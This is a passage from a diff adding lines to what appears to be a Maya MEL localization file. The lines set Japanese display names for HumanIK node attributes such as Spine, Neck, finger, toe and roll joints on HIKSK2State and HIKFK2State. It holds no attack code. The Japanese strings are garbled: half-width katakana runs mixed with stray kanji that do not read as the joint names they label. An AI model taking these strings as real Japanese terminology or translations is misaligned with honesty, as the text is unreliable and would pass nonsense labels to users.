GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck8GX", "セアイソ 8 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck9GX", "セアイソ 9 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftUpLegRollGX", "ラエヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftLegRollGX", "ラヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightUpLegRollGX", "モメエヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightLegRollGX", "モメヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftArmRollGX", "ラアロイ犹 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftForeArmRollGX", "ラヌーアロイ犹 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightArmRollGX", "モメアロイ犹 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightForeArmRollGX", "モメヌーアロイ犹 GX" ); +setAttrNiceNameResource( "HIKSK2State", "HipsTranslationGX", "ナイソニスメニ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandThumb1GX", "ラハヨトエヨク 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandThumb2GX", "ラハヨトエヨク 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandThumb3GX", "ラハヨトエヨク 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandThumb4GX", "ラハヨトエヨク 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandIndex1GX", "ラハヨハウヨク 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandIndex2GX", "ラハヨハウヨク 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandIndex3GX", "ラハヨハウヨク 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandIndex4GX", "ラハヨハウヨク 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandMiddle1GX", "ラハヨヨミヨク 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandMiddle2GX", "ラハヨヨミヨク 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandMiddle3GX", "ラハヨヨミヨク 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandMiddle4GX", "ラハヨヨミヨク 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandRing1GX", "ラハヨボテヨク 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandRing2GX", "ラハヨボテヨク 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandRing3GX", "ラハヨボテヨク 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandRing4GX", "ラハヨボテヨク 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandPinky1GX", "ラハヨミ。ヨク 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandPinky2GX", "ラハヨミ。ヨク 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandPinky3GX", "ラハヨミ。ヨク 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandPinky4GX", "ラハヨミ。ヨク 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandExtraFinger1GX", "ラハヨチヨク 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandExtraFinger2GX", "ラハヨチヨク 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandExtraFinger3GX", "ラハヨチヨク 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandExtraFinger4GX", "ラハヨチヨク 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandThumb1GX", "モメハヨトエヨク 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandThumb2GX", "モメハヨトエヨク 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandThumb3GX", "モメハヨトエヨク 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandThumb4GX", "モメハヨトエヨク 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandIndex1GX", "モメハヨハウヨク 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandIndex2GX", "モメハヨハウヨク 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandIndex3GX", "モメハヨハウヨク 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandIndex4GX", "モメハヨハウヨク 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandMiddle1GX", "モメハヨヨミヨク 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandMiddle2GX", "モメハヨヨミヨク 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandMiddle3GX", "モメハヨヨミヨク 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandMiddle4GX", "モメハヨヨミヨク 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandRing1GX", "モメハヨボテヨク 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandRing2GX", "モメハヨボテヨク 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandRing3GX", "モメハヨボテヨク 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandRing4GX", "モメハヨボテヨク 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandPinky1GX", "モメハヨミ。ヨク 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandPinky2GX", "モメハヨミ。ヨク 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandPinky3GX", "モメハヨミ。ヨク 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandPinky4GX", "モメハヨミ。ヨク 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandExtraFinger1GX", "モメハヨチヨク 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandExtraFinger2GX", "モメハヨチヨク 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandExtraFinger3GX", "モメハヨチヨク 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandExtraFinger4GX", "モメハヨチヨク 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootThumb1GX", "ラスナエヨコ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootThumb2GX", "ラスナエヨコ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootThumb3GX", "ラスナエヨコ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootThumb4GX", "ラスナエヨコ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootIndex1GX", "ラスナカヨコ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootIndex2GX", "ラスナカヨコ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootIndex3GX", "ラスナカヨコ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootIndex4GX", "ラスナカヨコ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootMiddle1GX", "ラスナヨミヨコ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootMiddle2GX", "ラスナヨミヨコ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootMiddle3GX", "ラスナヨミヨコ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootMiddle4GX", "ラスナヨミヨコ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootRing1GX", "ラスナヒトヨコ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootRing2GX", "ラスナヒトヨコ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootRing3GX", "ラスナヒトヨコ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootRing4GX", "ラスナヒトヨコ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootPinky1GX", "ラスナミ。ヨコ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootPinky2GX", "ラスナミ。ヨコ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootPinky3GX", "ラスナミ。ヨコ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootPinky4GX", "ラスナミ。ヨコ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootExtraFinger1GX", "ラスナチヨコ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootExtraFinger2GX", "ラスナチヨコ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootExtraFinger3GX", "ラスナチヨコ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootExtraFinger4GX", "ラスナチヨコ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootThumb1GX", "モメスナエヨコ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootThumb2GX", "モメスナエヨコ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootThumb3GX", "モメスナエヨコ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootThumb4GX", "モメスナエヨコ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootIndex1GX", "モメスナカヨコ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootIndex2GX", "モメスナカヨコ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootIndex3GX", "モメスナカヨコ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootIndex4GX", "モメスナカヨコ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootMiddle1GX", "モメスナヨミヨコ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootMiddle2GX", "モメスナヨミヨコ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootMiddle3GX", "モメスナヨミヨコ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootMiddle4GX", "モメスナヨミヨコ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootRing1GX", "モメスナヒトヨコ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootRing2GX", "モメスナヒトヨコ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootRing3GX", "モメスナヒトヨコ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootRing4GX", "モメスナヒトヨコ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootPinky1GX", "モメスナミ。ヨコ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootPinky2GX", "モメスナミ。ヨコ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootPinky3GX", "モメスナミ。ヨコ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootPinky4GX", "モメスナミ。ヨコ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootExtraFinger1GX", "モメスナチヨコ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootExtraFinger2GX", "モメスナチヨコ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootExtraFinger3GX", "モメスナチヨコ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootExtraFinger4GX", "モメスナチヨコ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInHandThumbGX", "ラハヨトエヨクトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInHandIndexGX", "ラハヨハウヨクトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInHandMiddleGX", "ラハヨヨミヨクトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInHandRingGX", "ラハヨボテヨクトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInHandPinkyGX", "ラハヨミ。ヨクトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInHandExtraFingerGX", "ラハヨチヨクトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInHandThumbGX", "モメハヨトエヨクトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInHandIndexGX", "モメハヨハウヨクトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInHandMiddleGX", "モメハヨヨミヨクトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInHandRingGX", "モメハヨボテヨクトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInHandPinkyGX", "モメハヨミ。ヨクトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInHandExtraFingerGX", "モメハヨチヨクトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInFootThumbGX", "ラスナエヨコトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInFootIndexGX", "ラスナカヨコトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInFootMiddleGX", "ラスナヨミヨコトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInFootRingGX", "ラスナヒトヨコトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInFootPinkyGX", "ラスナミ。ヨコトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInFootExtraFingerGX", "ラスナチヨコトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInFootThumbGX", "モメスナエヨコトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInFootIndexGX", "モメスナカヨコトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInFootMiddleGX", "モメスナヨミヨコトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInFootRingGX", "モメスナヒトヨコトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInFootPinkyGX", "モメスナミ。ヨコトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInFootExtraFingerGX", "モメスナチヨコトレイ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftShoulderExtraGX", "クスシモラシ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightShoulderExtraGX", "クスシモモメシ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftUpLegRoll1GX", "メカラエヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftLegRoll1GX", "メカラヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightUpLegRoll1GX", "メカモメエヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightLegRoll1GX", "メカモメヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftArmRoll1GX", "メカラアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftForeArmRoll1GX", "メカラヌーアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightArmRoll1GX", "メカモメアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightForeArmRoll1GX", "メカモメヌーアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftUpLegRoll2GX", "メカラエヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftLegRoll2GX", "メカラヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightUpLegRoll2GX", "メカモメエヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightLegRoll2GX", "メカモメヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftArmRoll2GX", "メカラアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftForeArmRoll2GX", "メカラヌーアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightArmRoll2GX", "メカモメアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightForeArmRoll2GX", "メカモメヌーアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftUpLegRoll3GX", "メカラエヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftLegRoll3GX", "メカラヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightUpLegRoll3GX", "メカモメエヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightLegRoll3GX", "メカモメヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftArmRoll3GX", "メカラアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftForeArmRoll3GX", "メカラヌーアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightArmRoll3GX", "メカモメアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightForeArmRoll3GX", "メカモメヌーアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftUpLegRoll4GX", "メカラエヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftLegRoll4GX", "メカラヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightUpLegRoll4GX", "メカモメエヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightLegRoll4GX", "メカモメヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftArmRoll4GX", "メカラアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftForeArmRoll4GX", "メカラヌーアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightArmRoll4GX", "メカモメアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightForeArmRoll4GX", "メカモメヌーアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftUpLegRoll5GX", "メカラエヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftLegRoll5GX", "メカラヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightUpLegRoll5GX", "メカモメエヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightLegRoll5GX", "メカモメヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftArmRoll5GX", "メカラアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftForeArmRoll5GX", "メカラヌーアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightArmRoll5GX", "メカモメアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightForeArmRoll5GX", "メカモメヌーアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKSK2State", "fza", "メムカウス睫ワモーマカヤマ" ); +// +// Node: HIKFK2State +// +setNodeNiceNameResource( "HIKFK2State", "HIKFK2State" ); +setAttrNiceNameResource( "HIKFK2State", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKFK2State", "OutputCharacterState", "ハ莎スヌノォラエフャ" ); +setAttrNiceNameResource( "HIKFK2State", "InputCharacterDefinition", "ハ菠スヌノォカィメ" ); +setAttrNiceNameResource( "HIKFK2State", "ReferenceGX", "メモテ GX" ); +setAttrNiceNameResource( "HIKFK2State", "HipsGX", "ナイソ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftUpLegGX", "ラエヘネ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftLegGX", "ラヘネ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootGX", "ラスナ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightUpLegGX", "モメエヘネ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightLegGX", "モメヘネ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootGX", "モメスナ GX" ); +setAttrNiceNameResource( "HIKFK2State", "SpineGX", "シケラオ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftArmGX", "ラアロ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftForeArmGX", "ラヌーアロ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandGX", "ラハヨ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightArmGX", "モメアロ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightForeArmGX", "モメヌーアロ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandGX", "モメハヨ GX" ); +setAttrNiceNameResource( "HIKFK2State", "HeadGX", "ヘキイソ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftToeBaseGX", "ラスナヨコク GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightToeBaseGX", "モメスナヨコク GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftShoulderGX", "ラシ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightShoulderGX", "モメシ GX" ); +setAttrNiceNameResource( "HIKFK2State", "NeckGX", "セアイソ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFingerBaseGX", "ラハヨヨクク GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFingerBaseGX", "モメハヨヨクク GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine1GX", "シケラオ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine2GX", "シケラオ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine3GX", "シケラオ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine4GX", "シケラオ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine5GX", "シケラオ 5 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine6GX", "シケラオ 6 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine7GX", "シケラオ 7 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine8GX", "シケラオ 8 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine9GX", "シケラオ 9 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck1GX", "セアイソ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck2GX", "セアイソ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck3GX", "セアイソ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck4GX", "セアイソ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck5GX", "セアイソ 5 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck6GX", "セアイソ 6 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck7GX", "セアイソ 7 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck8GX", "セアイソ 8 GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck9GX", "セアイソ 9 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftUpLegRollGX", "ラエヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftLegRollGX", "ラヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightUpLegRollGX", "モメエヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightLegRollGX", "モメヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftArmRollGX", "ラアロイ犹 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftForeArmRollGX", "ラヌーアロイ犹 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightArmRollGX", "モメアロイ犹 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightForeArmRollGX", "モメヌーアロイ犹 GX" ); +setAttrNiceNameResource( "HIKFK2State", "HipsTranslationGX", "ナイソニスメニ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandThumb1GX", "ラハヨトエヨク 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandThumb2GX", "ラハヨトエヨク 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandThumb3GX", "ラハヨトエヨク 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandThumb4GX", "ラハヨトエヨク 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandIndex1GX", "ラハヨハウヨク 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandIndex2GX", "ラハヨハウヨク 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandIndex3GX", "ラハヨハウヨク 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandIndex4GX", "ラハヨハウヨク 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandMiddle1GX", "ラハヨヨミヨク 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandMiddle2GX", "ラハヨヨミヨク 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandMiddle3GX", "ラハヨヨミヨク 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandMiddle4GX", "ラハヨヨミヨク 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandRing1GX", "ラハヨボテヨク 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandRing2GX", "ラハヨボテヨク 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandRing3GX", "ラハヨボテヨク 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandRing4GX", "ラハヨボテヨク 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandPinky1GX", "ラハヨミ。ヨク 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandPinky2GX", "ラハヨミ。ヨク 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandPinky3GX", "ラハヨミ。ヨク 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandPinky4GX", "ラハヨミ。ヨク 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandExtraFinger1GX", "ラハヨチヨク 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandExtraFinger2GX", "ラハヨチヨク 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandExtraFinger3GX", "ラハヨチヨク 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandExtraFinger4GX", "ラハヨチヨク 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandThumb1GX", "モメハヨトエヨク 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandThumb2GX", "モメハヨトエヨク 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandThumb3GX", "モメハヨトエヨク 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandThumb4GX", "モメハヨトエヨク 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandIndex1GX", "モメハヨハウヨク 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandIndex2GX", "モメハヨハウヨク 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandIndex3GX", "モメハヨハウヨク 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandIndex4GX", "モメハヨハウヨク 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandMiddle1GX", "モメハヨヨミヨク 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandMiddle2GX", "モメハヨヨミヨク 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandMiddle3GX", "モメハヨヨミヨク 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandMiddle4GX", "モメハヨヨミヨク 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandRing1GX", "モメハヨボテヨク 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandRing2GX", "モメハヨボテヨク 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandRing3GX", "モメハヨボテヨク 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandRing4GX", "モメハヨボテヨク 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandPinky1GX", "モメハヨミ。ヨク 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandPinky2GX", "モメハヨミ。ヨク 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandPinky3GX", "モメハヨミ。ヨク 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandPinky4GX", "モメハヨミ。ヨク 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandExtraFinger1GX", "モメハヨチヨク 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandExtraFinger2GX", "モメハヨチヨク 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandExtraFinger3GX", "モメハヨチヨク 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandExtraFinger4GX", "モメハヨチヨク 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootThumb1GX", "ラスナエヨコ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootThumb2GX", "ラスナエヨコ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootThumb3GX", "ラスナエヨコ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootThumb4GX", "ラスナエヨコ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootIndex1GX", "ラスナカヨコ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootIndex2GX", "ラスナカヨコ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootIndex3GX", "ラスナカヨコ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootIndex4GX", 